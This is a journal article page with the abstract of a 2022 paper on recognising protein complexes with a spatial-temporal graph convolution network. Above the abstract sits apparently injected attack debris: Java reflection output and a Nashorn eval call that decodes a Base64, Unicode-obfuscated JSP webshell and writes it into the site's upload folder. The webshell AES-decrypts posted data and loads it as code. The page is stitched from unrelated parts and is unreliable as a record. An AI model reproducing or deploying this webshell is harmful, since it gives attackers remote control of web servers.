public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2022, Vol. 42 ›› Issue (7): 1075-1081.doi: 10.12122/j.issn.1673-4254.2022.07.17

Previous Articles     Next Articles

A protein complex recognition method based on spatial-temporal graph convolution neural network

SHENG Jiangming, XUE Juan, LI Peng, YI Na   

  1. Clinical nursing teaching and Research Office, The Second Xiangya Hospital of Central South University, Changsha 410011, China; Department of ultrasound diagnosis, The Second Xiangya Hospital of Central South University, Changsha 410011, China; Operation center, The Third Xiangya Hospital of Central South University, Changsha 410013, China; School of Informatics, Hunan University of Chinese Medicine, Changsha 410208, China
  • Online:2022-07-20 Published:2022-07-15

RichHTML

38

PDF

676

Abstract: Objective To propose a new method for mining complexes in dynamic protein network using spatiotemporal convolution neural network. Methods The edge strength, node strength and edge existence probability are defined for modeling of the dynamic protein network. Based on the time series information and structure information on the graph, two convolution operators were designed using Hilbert-Huang transform, attention mechanism and residual connection technology to represent and learn the characteristics of the proteins in the network, and the dynamic protein network characteristic map was constructed. Finally, spectral clustering was used to identify the protein complexes. Results The simulation results on several public biological datasets showed that the F value of the proposed algorithm exceeded 90% on DIP dataset and MIPS dataset. Compared with 4 other recognition algorithms (DPCMNE, GE-CFI, VGAE and NOCD), the proposed algorithm improved the recognition efficiency by 34.5% , 28.7% , 25.4% and 17.6% , respectively. Conclusion The application of deep learning technology can improve the efficiency in analysis of dynamic protein networks.

Key words: dynamic protein network; protein complex; graph convolution neural network; convolution operator; spectral clustering